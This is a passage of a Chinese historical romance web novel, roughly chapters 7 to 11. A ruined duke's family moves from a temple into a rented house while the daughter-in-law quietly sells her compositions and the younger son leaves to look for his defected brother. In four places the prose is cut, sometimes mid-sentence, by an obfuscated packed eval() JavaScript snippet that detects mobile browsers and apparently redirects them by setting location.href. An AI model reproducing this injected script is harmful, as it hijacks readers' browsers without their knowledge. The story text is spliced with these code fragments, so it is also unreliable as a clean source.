自从七岁会谱写童谣,到现在为止,她至少写过上百首曲子。 不过都被她束之高阁了,偶尔有时间,趁着祖父不在家,悄悄弹奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515293|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几曲过过瘾,平时根本不敢拿出来。 如今形势逼人,她挑出一首最合适教坊弹奏的写出来,交给孙筠筠。 “效果怎么样,我也不能保证,十两银子属实多了,你给三两吧。” 如果不是慕家情况太差,她更愿意送给孙筠筠。 孙筠筠也知道她有难处。 将准备好的一锭银子塞给她。 “青禾,你别和我客气,三年前你为我谱的那曲,赚了很多银子,一分都没给你,可惜被个畜生骗了,否则我现在全拿给你。” 白青禾知道孙筠筠被骗银子的事。 也是孙筠筠太想脱籍,被坏人盯上,为她量身定做了一套骗局,把她攒的几百两银子全都骗走了。 “我们是好朋友,还提这个做什么。” 孙筠筠不得不提,“你可帮了我大忙,要不是那首曲子,我就被教坊赶出去了,你知道我们这行,被赶出去只能去青楼……算了,不说这个了,这首曲子,我先给你十两,如果我能唱出名气,那时再按比例分给你。” 白青禾不再推辞,“这十两银子,我就全拿走了,你去试试曲子吧,我听听有没有什么地方需要改的。” 这首曲子,白青禾已经修改过无数次。 听孙筠筠弹奏完,比预想的好多了,满意道:“还不错。” 孙筠筠比她还满意,“青禾,这首曲子,我在教坊弹完,肯定一炮而红,绝对不给你丢脸。” 白青禾很喜欢自己谱的曲子被人弹奏,这让她很有成就感。 “那必须的,我谱的曲子,加你这么优秀的琴师,咱们两个天作之合。” 两个人就曲子又聊一会儿,白青禾记挂着公婆,打算尽快回去。 孙筠筠还有事情没说完,“对了,对外还称绫箫公子谱的曲吗?” 骤然听到这么尴尬的名字,白青禾有些难为情。 这是三年前,她担心祖父知道她给乐人谱曲,故意起的名字。 特意带了公子两个字,迷惑大家不要往女子身上猜。 能更好掩饰她的身份。 “就……还用这个名字吧。” 孙筠筠:“那这首曲名……” 白青禾早取好了:“锦瑟。” 孙筠筠品味片刻,“好听。” 她对此曲信心十足,“相信它的风头肯定会超出《兰怨》” 《兰怨》就是白青禾为孙筠筠谱的第一首曲子。 白青禾没有孙筠筠那么大的信心,不过她相信这首曲子,肯定会有很多人喜欢。 和孙筠筠分开后,白青禾加快脚步,用最短的时间赶回破庙。 慕卿白这个混蛋,万一怀疑她跑了,找到白家吵闹,祖父年纪大了,可经不住他吓唬。 怀疑白青禾跑的不是慕卿白。 慕卿紫醒来后发现嫂子不见了,第一时间跑到庙外寻找。 “嫂子——” “嫂子——” “嫂子——” 喊了好几声都没听见回应,她慌里慌张的推醒慕夫人,“娘,不好了,我嫂子不见了。” 慕夫人喝的药有安神作用,她睡得早,醒的比所有人都晚。 听女儿惶恐的声音,惊道:“你二哥呢?他没看见?” 8. 第 8 章 到处都找不到白青禾,慕卿紫慌极了。 知道大哥投敌,父亲被削爵,她都没像此刻这般慌乱。 这个家里,父亲和大哥糙,母亲柔弱多病,二哥是个书呆子,从不管就家里事。 自己也是个没算计的。 这些年,国公府没少被亲朋好友和恶奴算计。 她记得很清楚,大嫂接管中馈第一次查账,发现二叔一家贪污不下五万两银子,在国公府做了十五年的管家,竟然贪走三万两银子。 父母一点都不知道。 其他丫鬟小厮,偷卖个花瓶、首饰、家具,更是数不胜数。 如果不是大嫂,国公府都快被他们搬空了。 可惜年头太长,被贪图的金银大部分都被挥霍,只追回来一小部分。 父亲还觉得不是什么大事,只打了管家二十大板把人赶出去了事。 至于二叔,父亲只说让他尽快把帐还上。 直到前天他们一家离开,也没见他们还一两银子。 这个家,未婚夫退婚不算事,二哥的未婚妻退婚不算事,二叔一家离开更不算事,唯独不能缺了大嫂。 “没见到二哥,娘,你说大嫂是和二哥一起出门的,还是嫌弃咱家不行扔下我们跑了?” “不能吧,”慕夫人这个嘤嘤怪终于躺不住了,她费力爬起来,扶着女儿出去找人。 “你嫂子不像没良心的,应该不会把我们扔下……” 她忍不住骂自己那不争气的儿子。 “你大哥这个混蛋,怎么能投敌呢,连累一家不说,你嫂子年纪轻轻的,顶着这样的身份……希望他这辈子都别回来,否则我非打死他个不孝子!” 慕宗岳一大早瘸着一条腿出去捡柴火。 昨天赵鹏下死手,他右腿青了一大片。 今天不太活泛。 念着夫人还要喝药,他忍着疼痛捡了一大堆柴。 看见女儿出来,喊道:“把火升起来,把药熬上。” 慕卿紫担心道:“爹,你有没有看见我嫂子?” 慕宗岳昨晚睡得沉,今早起来迷迷糊糊的,他一个做公爹的哪好意思往儿媳妇那边瞅。 是以没发现庙里少个人。 “怎么,你嫂子出去了?” 慕卿紫:“前后都找遍了,都没见嫂子。” 慕宗岳人糙,想也不想的说道:“肯定找吃的去了,别着急,一会儿就回来了。” “爹,”慕卿紫不喜欢父亲这副以为所有人都很善良的态度,“二叔走了,赵家也退婚了,嫂子肯定嫌弃咱家流落街头,也走了。” “不可能,”慕宗岳还是刚才那副态度,“你嫂子不是那样的人,快点把火点起来,你娘一会儿还要喝药呢。” 慕卿紫嫌弃她爹瞒脑子都是她娘,这个时候还惦记着熬药。 昨天吃那么晚,今天不赶晚上,也不能吃太早。 不过她知道父亲的脾气,她不动手,他就得瘸着一条腿去点火。 “知道了,知道了。” 她把母亲扶到旁边的大石台上,垫上二哥的衣服,“娘,您坐着歇一会儿。” 慕夫人惦记儿媳妇,“吃药不急,你去找青禾,见不到她人影,我不放心。” 母女两个话音没落,慕宗岳指着远处熟悉的人影,笑道:“那不是青禾!” 慕卿紫心里一喜,急急忙忙迎上去,像失而复得一般抱住白青禾。 “嫂子,你可回来了,我还以为你走了,不要我们了。” 被人需要的感觉还是很美好的。 白青禾轻轻拍了拍慕卿紫的后背,“我出去见个朋友。” 有了银子,心情舒畅。 白青禾脚步轻快地走到慕夫人面前,将十两银子双手托到对方面前。 “娘,您看这是什么?” 慕夫人第一次看见银子两眼放光。 “你这是哪来的?” 慕宗岳也凑过来看。 “十两银子,这么多?” 他除了打仗为粮草发过愁,一直过着衣食无忧的日子,从来不知道金银为何物。 此刻竟有种见到亲人的感觉。 他咂摸着嘴,道:“皇上不是下旨,任何人都不许帮我们吗。” 白青禾不好提谱曲的事,只道:“我帮个朋友写点东西,她给我十两银子报酬,这算是正经生意,皇上知道也不能怎么样。” 慕卿紫高兴坏了,“对对对,皇上又没禁止我们自力更生,也没让我们做乞丐,我们自己赚银子还不行了,对了,嫂子,你写了什么,一次就给十两银子,那我也去写。” 慕夫人嫌弃道:“你从小舞枪弄棒的,会写什么,早说让你好好读书,多学些姑娘家擅长的东西,你偏不干,整天和两个哥哥混在一起,关键时刻顶什么用。” 慕卿紫不高兴道:“我昨天打赵鹏不算有用?” 虽然没打过吧,那还不是她年纪小,没有经验。 只要她勤学多练,假以时日,必定要赵鹏做她手下败将。 “对了,昨天是谁把您背去医馆的,要不是我学武,力大无穷,能把您背去医馆!” 慕夫人自然知道女儿的能耐。 “好了,好了,都是你的功劳。” 慕卿紫得意了,问白青禾,“嫂子,我们现在有银子了,是不是先去清洗一下,再大吃一顿。” 白青禾的想法和慕卿紫大相径庭,“爹娘,小紫,我想着咱们还是先找个地方住,有那种小宅子,一个月一二两银子,我们先租两个月,慢慢琢磨谋生办法。” 慕卿紫一拍脑袋,“我怎么没想到,这个破庙住的我浑身难受,再住两天还不得长虱子,娘身体不好,这里四处漏风,很难恢复,有了住的地方,咱们都能歇歇。” 慕夫人完全没有主意,一切听儿媳妇的。 慕宗岳头脑简单,想不了太细的事情。 他就是个糙人,住一辈子破庙都没关系,只要吃上喝上。 可身边三个女人,确实应该找个宅子,省得儿子每天晚上坐在门口守着。 “青禾说的对,我们先找个宅子。” 决定好找宅子,问题又来了。 慕卿紫问道:“我们去哪找呢?能住下我们五人,总得有五间卧室吧,还要有厨房、浴室、书房、花厅……” 白青禾很想给慕卿紫一个大白眼。 干脆让你回国公府得了。 还书房花厅,做什么美梦! 那样的房子,一年没有百十两怎么租的来。 “小紫,咱只有十两银子。” 慕卿紫哪里知道柴米油盐有多费银子。 “很贵吗?” 白青禾回来的路上留意到几户租宅子的。 其中一处离孙筠筠家不远。 房子又大又便宜。 租一处有三间卧室的,一个月只要一两多银子。 只不过那里住的大多都是贱民,不知道公婆能不能接受。 “倒也没多贵,就是爹娘这身份,我担心你们住不习惯。” 慕宗岳连破庙都不嫌弃,“什么地方我们不习惯,只要能遮风挡雨就行。” 白青禾:“那边都是乐户,迎来送往的,情况比较复杂,不过宅子是真便宜。” 慕宗岳还以为什么情况,“不都是我大周的子民,分什么高低贵贱,就去那里,只要没人敢欺负你们就成。” 慕宗岳没意见,慕夫人自然没意见。 慕卿紫全都听嫂子的。 “嫂子决定吧。” 白青禾不敢决定。 公婆和小姑没意见,不代表慕卿白那个祸害没意见。 还是要问过他才行,省得他动不动要去白家吵闹。 “那等卿白回来,问问他的意思。” 说曹操到,曹操就到。 白青禾话音刚落,慕卿白挺拔的身姿便出现在了众人视野里。 不知道他从哪弄了一身蓝色粗布白色斜领长袍。 金尊玉贵的国公府公子,换上普通服饰,终于有种回归人间的感觉。 这个时候倒是很随和,“嫂嫂决定就好。” 白青禾十分不满的瞥他一眼。 今天早晨还对她家人喊打喊杀,这个时候是怎么装出一副什么都顺从她的样子。 狗男人还挺会演! 既然一家人都没意见,白青禾便和大家一起收拾东西。 去谈价的时候,只有白青禾和慕卿紫两个人出面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515294|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其他人都躲在暗处。 尤其慕宗岳。 全城百姓几户没有不认识他的,担心他出现横生枝节,还是藏着些方便。 宅院不大,只有三间卧室和一间仓房。 什么书房、花厅全都是没有的。 价格十分友好,一个月一两半银子。 一次性需交三个月的。 慕卿紫住惯了大宅子的千金小姐,对这里除了嫌弃还是嫌弃。 “嫂子,只有三间屋子怎么住?” 白青禾笑道:“我们两个一间,爹娘一间,卿白一间,这还不够住?” 能和嫂子一起住,慕卿紫很快欢喜起来。 “嫂子,我住里边,你住外边。” 白青禾戳戳她腰窝,“你还挑上了。” 房东走后,白青禾收拾屋子,慕卿紫去接爹娘和二哥。 小宅子不大,胜在五脏齐全。 正房东侧是卧室,西边是伙房。 东厢房连着两间卧室和一间仓库。 西侧没有厢房,挨着墙根挖了一溜小池子,能种些花草或者蔬菜。 阳光最足的地方拉了一条晒衣绳。 总体来说,和国公府有着天壤之别,但和破庙也有着天壤之别。 “嫂子,我们住哪间?”慕卿紫打量一圈问道。 正房肯定留给公婆。 东厢房两间能住人,白青禾作为长嫂,自然要挑间好的,“我瞧瞧啊,卿白是读书人,身子骨弱,把最好的留给他,我们两个随便选一间好了。” 她嘴上这么说,视线来回在两间卧室里打转。 靠北的宽敞些,可屋里太乱了,到处都散发着一股土星味。 靠南小些,胜在干净,可惜挨着仓房,不知道多少老鼠出没。 对比半晌也没选出来,看见慕卿白过来,大方道:“卿白,这里有两间屋子,未来咱家就靠你光耀了,你先选一间。” 慕卿白是书呆子,可不是傻子。 嫂嫂浑身上下都是心眼子,比万花筒都多。 他还能不知道嫂嫂打了什么鬼主意。 “就……”他随手指向北间,话没说完,果然看见嫂嫂一个箭步冲进北边卧室。 “卿白啊,我看这间好脏,你这身衣服干干净净的,都给你弄脏了,干脆我和小紫住这间,你住旁边那间吧。” 白青禾根本不给慕卿白反对的机会,她找块手帕捂住嘴便开始收拾。 尘土飞扬,呛得慕卿白连着咳嗽好几声。 慕卿紫很快跟进来,“二哥,我先和嫂嫂收拾这边,忙完帮你收拾。” 正房一直有人住,相对干净。 只有东厢房很脏。 慕卿紫扫地,擦窗子,白青禾收拾两个人的小床。 墙壁到处都是蜘蛛网,她用柳条做个简易的扫把,将所有蜘蛛网都扫下来。 收拾床铺的时候,意外发现床腰上方一尺多高的地方有个拳头大小的窟窿。 好奇心驱使,她趴在床上透过窟窿看过去。 也是赶巧了,慕卿白正在换衣服。 平时斯斯文文的一个人,脱了衣服,竟然一身的腱子肉。 白青禾成亲一年多,还没见过脱了衣服的男人。 除了七八岁时偷看过弟弟洗澡。 难怪人家武功那么高,真真勤学苦练出来的。 摸一把不知道什么感觉。 “嫂子你干什么呢?”慕卿紫被窗子上的烟灰迷了眼,听不到嫂子声音,疑惑道。 白青禾仿佛做了什么道德败坏的事情被抓一般,急忙找东西将窟窿堵住。 “啊,我在收拾床铺。” 偷看小叔子换衣服,传出去,她这脸还要不要。 早知道,她刚才选隔壁屋子了。 转念一想,两间屋子连着,窟窿互通,她选旁边的也没办法躲开。 总不能退了这座这宅子重新租一处。 三个月的租金,四两半银子呢。 房东肯定要扣些。 好在这个窟窿只有她自己知道,找时间偷偷用泥巴糊上,完全不影响居住。 就算不糊,只要她不去偷瞧,慕卿白道德感那么高又足够正派的人,还能偷瞧嫂子啊! 9. 第 9 章 有了银子,做什么都方便。 上午租宅子签协议,收拾屋子。 中午都累得爬不起来了。 白青禾全身脏兮兮的坐在门口,从荷包里摸出一钱银子,用脚丫碰碰慕卿紫。 “小紫,去买几个包子,中午将就一下。” 慕卿紫哪做过这种力气活。 她怀疑自己把下辈子的辛苦都受了,“不行了,我累得爬不起来,二哥——” 白青禾把小姑从上到下扫一遍,嫌弃道:“你不是学了武功吗,怎么还这么弱!” 慕卿紫伸出两只脏兮兮的爪子,“嫂子,你看我这手,是干活的手吗,我都累成啥样了,两腿都仿佛不是自己的……” 看见慕卿白走过来,将银子人扔给他,“二哥,嫂子让你去买几个包子,我们中午吃包子。” 慕卿白虽然不如往日干净,整个人还是清清爽爽的。 他伸手接了银子,没有任何疲态往院外走去。 白青禾瞧着他迈着稳健的步伐,总觉得他什么都没干,“你二哥是不是偷懒了,根本没收拾屋子。” 慕卿紫刚才看过二哥清理窗子,“不可能,他自己住的地方,怎么可能不收拾。” 白青禾持怀疑态度,她按着慕卿紫的肩膀爬起来往隔壁屋里扫了一眼。 简直不敢相信,慕卿白把屋里打扫的比她们两个姑娘的都干净。 “不可能啊,我们两个这么脏,他是怎么做到的?” 慕卿紫早就见怪不怪了,“嫂子,这就是学霸的区别,二哥从小就这样,什么都是最好的,让人挑不出一点毛病。” 在白青禾的记忆里,书呆子都是四体不勤五谷不分的。 比如她大哥和小弟,书没读几页,不是这里遇到麻烦就是那里出问题了,一天到晚八百个人伺候还能挑出一堆毛病。 两个人读书的时候,她从不往身边凑。 否则什么事都能赖上她。 大周朝成立百余年,也不过二三十个探花。 慕卿白高中探花,那可是书呆子中的书呆子。 武功比赵鹏还高就很奇怪了,干活还能这么利索。 简直不是人类。 “唉,你二哥可真不是人……” 白青禾坐在慕卿紫旁边,一边伸着懒腰一边感叹。 眼角的余光瞥见身高腿长的慕卿白站在不远处,正用一种特别复杂的眼神盯着,急忙起身改口。 “普通人哪有那么聪明的脑袋,读书那么厉害,功夫还能练那么好!” 她悄悄打量一眼慕卿白,面色平淡,应该没生气。 “你回来了,卿白,”白青禾做出刚刚发现他的样子,把包子接过来,“洗洗手,吃饭吧。” 一家人刚搬过来,缺东少西,什么都不全。 白青禾一边吃着包子,一边安排下午的工作。 “休息一会儿,卿白帮娘把药熬了吧,我和小紫出去买些东西,一会儿我列个单子,爹娘看看有什么遗漏的,都添上,这里不比国公府,只能将就着些。” 白青禾管了一年国公府的中馈,一家人都相信她的能力。 除了慕宗岳,没有人有异议。 “熬药的事,交给我就行,卿白跟你们两个一起去,有什么重的不好拿的,全都交给他。” 慕宗岳断了一条腿,平时走路没问题。 熬个药,应该能胜任。 白青禾在心里算了一下所需东西,别的不说,米面油被褥这些东西两名女子就拿不回来。 “那吃完饭就开始熬,我列完单子,和小紫先出去,一个时辰后,卿白再去东街找我们。” 那边她有熟悉的铺子,买了东西可以暂时寄存在铺子里,慕卿白随时可以过去拿走。 白青禾安排妥当,连慕宗岳都没有异议了。 “按青禾说的,吃完饭就开始熬药。” 饭后,白青禾准备一家人所需用品的单子。 慕卿紫去正房清理。 昨晚慕卿白偷的两床锦被都放在主卧了。 在破庙里睡了一晚,好好的缎料弄得脏兮兮,慕卿紫有些嫌弃。 “娘,一会儿看看能不能多买几床新的。” 慕夫人还在难过。 一面是儿子投敌叛国,也不知道寄人篱下的生活过得好不好。 有没有挨打。 一面是国公爵位被削,一家人沦落至此。 至于吃什么,用什么这些细节,她还没有注意到。 “等着你嫂子安排吧,娘现在……唉,你大哥……” 一句话没说完,眼泪扑朔朔的又流了下来。 白青禾知道中药起作用了。 昨天哭得都没有眼泪了,今天又冒出这么多,可不是中药的功劳! 她一边列单子,一边劝慰婆婆,“娘,您别担心,困难是一时的,总会过去。” 慕夫人叹了口气:“幸好有青禾,什么事都能想着,否则咱们这个家……唉……” 白青禾觉得,婆婆的眼泪比她说出来的话多很多。 “娘,您就安心养病,谁知道卿岚是不是假意投敌,实际上有别的谋划呢,您得把身体养好了,才能等到他回来,亲口问问他,到底怎么回事。” 这话触动了慕夫人的心思。 “青禾说的对,我必须等他回来,亲口问问他。” 她一直相信,儿子宁愿战死也不会做叛国贼。 可在两者中间选择,她又希望儿子活着。 白青禾修修改改列出几十样东西。 全都是急用且不贵的。 租宅子花掉四两半,还要留出几天的花用,最多只有四两银子可用。 锅碗瓢盆、米面油都是必需品,少一样都不行。 还有今晚必须盖的被子。 两床锦被都给公婆将就,她和慕卿紫用一床,慕卿白怎么也得用一床。 至少还得买两床半被褥…… 算来算去,哪一样都没办法扣掉。 可他们能花用的银子只有四两,好难办! 白青禾正发愁着,忽然听到门口有车马声。 她不由得放下笔往外看去,竟然是白府的管家赶着马车来了。 “福伯,你怎么来了?” 福伯把马车停在门口,桃花从车里跳下来。 “小姐,夫人担心您这里缺东少西,让福伯给您送些过来。” 白青禾正发愁呢,听说家里送来了东西,高兴的眉开眼笑。 “还是我娘心疼我,都送了什么?” 她撩开帘子,看见车厢里堆得满满当当,全都是急用的,感激的话说了一箩筐,把慕卿白喊过来跟她一起往下搬。 什么锅碗瓢盆、枕头被子、洗漱用品…… 连她出嫁前一直用的大浴桶都搬来了。 “福伯,我娘送这么多东西行吗?皇上不许别人帮我们,这么多东西,会不会给家里惹麻烦?” 福伯笑道:“无妨,今天早晨有人弹劾老爷,有人替老爷说话,姑娘嫁进慕家才一天,姑爷就出征了,立下战功无数,如今投敌,也是为了活命,原来的功劳足以抵偿,白家为人父母,可以不帮慕家,但不能不管自己的女儿,否则和动物何异! 这些东西,也不是帮慕家的,是夫人对姑娘的一点心意。” 原来有人帮白家说话。 否则以父亲小心谨慎的行事作风,断不会让母亲送这么多东西过来。 桃花笑道:“其实只有这一件事,夫人还是不敢的,今天早朝,赵鹏把二爷(慕卿白)告了,说二爷当街行凶,殴打巡检使,大逆不道,应该收监判刑,小姐,您猜皇上怎么说?” 白青禾猜不出来,“皇上很生气?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515295|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 到现在都没来找慕卿白的麻烦,可见皇上没有要追究他的意思。 桃花:“皇上确实很生气,不过生的是赵鹏的气,皇上说:‘你是干什么吃的?还打过不过一个初出茅庐的读书人,实在胜任不了,把你那个巡检使给他当!’” 桃花忍不住遗憾起来,“好可惜,二爷险些当了巡检使。” 白青禾不由得多看一眼慕卿白。 皇上果真爱才。 像他这么文武全才的青年可不多。 哪怕慕卿岚投敌,只要确定慕卿白是忠心大周的,皇上极有可能启用他。 此刻慕卿白的表情仍然淡淡的,好像大家谈论的焦点不是他一般。 慕宗岳把福伯叫到旁边聊天去了。 白家老太爷最高官职做到正四品,国公爵位可是超品。 往常福伯见到魏国公都小心翼翼的。 今天仍然陪着几分小心,先说些恭维话,又笃定魏国公早晚恢复爵位。 慕宗岳没想那么多,“亲家公知道我的喜好,有没有带坛好酒?” 福伯笑道:“带了带了,我们夫人想的周到,带了一大坛,说是等您喝完了,再送些过来。” 慕宗岳高兴了,“好几天没喝,嘴里淡得很!” …… 白青禾几个人一边往下搬东西,一边聊天。 桃花还有一件趣事没说:“对了,今天誉亲王告到御前,说是他家昨晚丢了一桌席面,还丢了两床锦被,让皇上下令,务必命巡检使三天内给他找回去……” 白青禾忍不住笑出了声。 桃花继续说:“巡检使脸都黑了,说这事是府衙的活,誉亲王把他骂了一顿,打仗不行,找东西也不行,干什么吃的!” 白青禾还以为慕卿白昨晚说东西是偷的,在跟大家开玩笑。 他从小生活在京城,狐朋狗友无数,要些东西还是很容易的。 没想到,他真去偷了。 还偷的誉亲王。 很难想象,誉亲王听说丢了两床被子什么表情。 桃花:“听说昨晚誉亲王请客,一位很难请的客人,人都坐到桌前了,饭菜没了,气的誉亲王骂了一个晚上。” 白青禾拉着慕卿紫笑得前仰后合。 “谁能想到,准备好的席面都有人偷呢。” 慕卿紫也笑得停不下来,“早知道这么好玩,我就跟二哥一起去了。” …… 白家送了一马车东西,基本涵盖了白青禾列的单子。 剩下杂七杂八不重要的小件,明天再买也是一样的。 接下来,福伯赶着马车回去交差。 桃花留下来和她们一起收拾屋子。 直到天快黑了才回白家。 慕卿白下午打了两大缸水。 傍晚,白青禾和慕卿紫舒舒服服洗了一个热水澡。 两个姑娘换上白家送来的内衣,舒舒服服躺在白家送来的新被褥上,别提多惬意了。 “嫂子,你说原来锦衣玉食,也就那么回事,今天这破屋破床,窗子四处漏风,怎么这么开心呢!” 白青禾也很奇怪:“可能是这两天住破庙住的,这里和破庙一比,简直天堂一般。” 这天晚上,两个姑娘聊到很晚。 慕卿紫从来没吃过这样的苦,聊着聊着,没了声音。 白青禾给她盖好被子,也准备睡了。 夜里空寂,忽然响起一阵稀里哗啦的流水声。 好像是隔壁传来的。 她贴着墙壁听了听,怀疑慕卿白在洗澡。 他没有大浴桶,又不好意思用她的,只能找个大盆将就。 白青禾白天看过他劲瘦的腰腹,此刻脱了衣服,不知道又是何种光景。 床腰上方的大窟窿仿佛被人下了诅咒,她总想伸手把窟窿弄开,偷偷瞧上一眼。 10. 第 10 章 不知道在想什么的白青禾,前半宿翻来覆去没睡着。 直到隔壁传来一声吱嘎的响动。 和她只有一墙之隔。 很明显是有人躺在床上发出来的。 白青禾后脊梁一紧,下意识绷住身体。 白天她没在意隔壁房间的构造,现在看来,床应该是靠着她这侧的。 也就是说,慕卿白正躺在和她一墙之隔的床上。 腰上的墙壁还有个拳头大的窟窿。 虽然被她堵了,只要轻轻一碰堵住窟窿的布团就能掉下去。 也不知道慕卿白打不打呼。 她这边肯定能听得清清楚楚。 万一他说梦话…… 白青禾心头一紧,慕卿白说不说梦话,她不知道。 她可是说梦话的。 没出嫁前,她经常和桃花一起住。 时不时桃花都会跟她抱怨一顿,昨晚她不光说梦话,还唱了梨园,讲了笑话。 白青禾悄悄挪到墙根,支棱起耳朵,除了寂静的夜里偶尔传出几声鸟叫,再没别的声音。 看来是睡了。 习武之人睡得应该比常人沉。 大概听不到她说梦话。 白青禾拍拍胸脯,合上眼睛睡了。 第二天早晨,白青禾睁开眼被慕卿紫一双大眼睛吓得惊叫出声。 “你干什么,靠我这么近!” 慕卿紫无奈道:“嫂子,你把我当我哥了吧?” 白青禾皱眉:“你什么意思?” 慕卿紫把胳膊给她看,偌大一个牙齿印清晰可见。 白青禾不解道:“你大半夜咬自己做什么!” 慕卿紫把胳膊怼到她面前,“是你咬的,抱着我又哭又闹,骂我混蛋,不回来找你,还不如战死的好……” 白青禾汗颜,她不光做噩梦,还抱着小姑哭闹了。 这还不是最丢人的,她忽然想起隔壁。 有心通开窟窿看看慕卿白在不在,担心被人知道这个窟窿的存在,只能忍耐下来。 希望慕卿白这几天太累,昨晚睡死过去,什么都没听到。 早饭白青禾熬的小米粥,煮了五个鸡蛋。 慕卿紫从早市拎回两提小笼包。 国公府每天早晨至少十几样吃食。 如今能填饱肚子就很不错了。 这还是昨天白家送的粮食。 白青禾心思不在吃食上,她小口咬着包子,目光一直似有若无地飘到慕卿白身上。 面目平和,没有任何没睡好烦躁不顺心的情绪。 白青禾的一颗心终于落了下来。 肯定没听到她说梦话了。 慕卿紫睡得像猪一样的人,都被她吵醒,一大早跟她抱怨。 慕卿白但凡听到,不可能这么平静。 慕夫人连着喝两天汤药,身体恢复许多,喝完一碗小米粥,又夹了一个包子。 慕宗岳看她有胃口,亲手剥两个鸡蛋放到她碗里。 “多吃些,中午想吃什么我去弄。” 慕夫人咬了一口鸡蛋,大概不合胃口全都夹到慕宗岳碗里。 “我想吃蟹黄羹。” 慕宗岳:“百香斋的?” 慕夫人点了点头。 慕宗岳毫不犹豫道:“一会儿我就去弄。” 如果是往常,白青禾很愿意看到公婆恩爱,并且十分羡慕。 可现在慕家过得什么日子,吃上顿没下顿,靠亲人接济啊。 百香斋的东西好吃是好吃,但出了名的贵。 一碗蟹黄羹能要一两银子。 慕夫人没有算计,她又病着,慕宗岳也是个粗心的。 他只管满足媳妇的需求。 哪知道日子有多艰难。 白青禾下意识捂住小荷包。 全家能用的银子只有四两,她可不会往外拿钱。 不过婆婆的命可真好,慕家都落到这个地步,什么心都不用操,只管嘤嘤嘤。 她不由得在心里叹气,原来还有些指望,慕卿岚能对她珍之重之。 如今她还能对一个投敌叛国的男人抱什么希望。 但求慕家早些熬过这次难关,那时能放她离开。 希望二婚丈夫是个会疼人的,不求大富大贵,一日三餐,有点余钱,养育两个懂事孝顺的儿女,此生便十分圆满。 早饭后,慕卿白趁着全家人都在一起,将他从来没和大家商量过的决定宣布出来:“我一会儿要离开京城,爹娘保重。” 他起身,认认真真朝白青禾俯身行礼,“归期未定,家里一切烦请嫂嫂操心照顾,小弟感激不尽。” 慕宗岳似乎早有预感,只道:“一路小心。” 慕夫人眼里含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515296|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪,又要往小掉,“早些回来。” 慕卿紫满脸诧异:“二哥,你要出门?” 白青禾的反应和慕卿紫差不多。 不过这也不难猜想。 慕家出事当天,慕宗岳就说过,让慕卿白去找慕卿岚。 这两天一家人都住在破庙。 如今安顿下来,慕卿白这个做弟弟的,肯定要亲赴边关,查清楚真相。 白青禾不太想让慕卿白离京。 首先,皇上不许慕家人离开京城。 私自出京,再给他扣上通敌的罪名,慕家非得万劫不复。 再者,慕家这种情况,慕卿白不留在家里寻找生计,真等一家人饿死吗! 最重要的是,慕卿白从小读书,是个十足的书呆子,边关远在千里之外,他一个人去那么远的地方,到处都是关卡,还有贼匪出没,万一…… 他可是慕家“唯一”的儿子了。 “卿白……” 阻止的话,白青禾终是没说出口。 慕卿岚是她丈夫,她比谁都想知道,他到底有没有通敌,有没有为她考虑过。 别人不提,慕宗岳宁愿战死也不会让夫人成为通敌犯的家属。 她没有婆母的好命,要句真相总是可以的。 “嫂嫂,”慕卿白认真又郑重,“我慕家惨遭不幸,连累嫂嫂,卿白心里明白,待慕家熬过去,一定会报答嫂嫂倾力扶持,不离不弃之恩。” 白青禾能怎么办。 人家好说好商量,她不同意,难道等刀架在脖子上,被逼着留下来吗。 “卿白,你放心去吧,家里有我呢,只要有我一口吃的,绝不让爹娘受委屈。” 接下来,慕卿白去收拾行李。 说是行李,也没什么东西。 不过一把随身携带的利剑。 出门前,白青禾想了想,喊住了他,“卿白……” 慕卿白停住脚步,忽然想起什么,从怀里摸出一百两银票,递给她。 “嫂嫂,这个交给你。” 白青禾都没想着给远行的小叔带银子。 哪好意思收,“穷家富路,你带着路上用吧。” 慕卿白放她手里,“我这还有。” 白青禾没再犹豫,收了银子,犹豫片刻,说道:“有机会见到卿岚,确定他确实投敌了,帮我要一封和离书。” 11. 第 11 章 “有机会见到卿岚,确定他确实投敌了,帮我要一封和离书。” 白青禾说完,慕卿白皱眉,“你什么意思?” 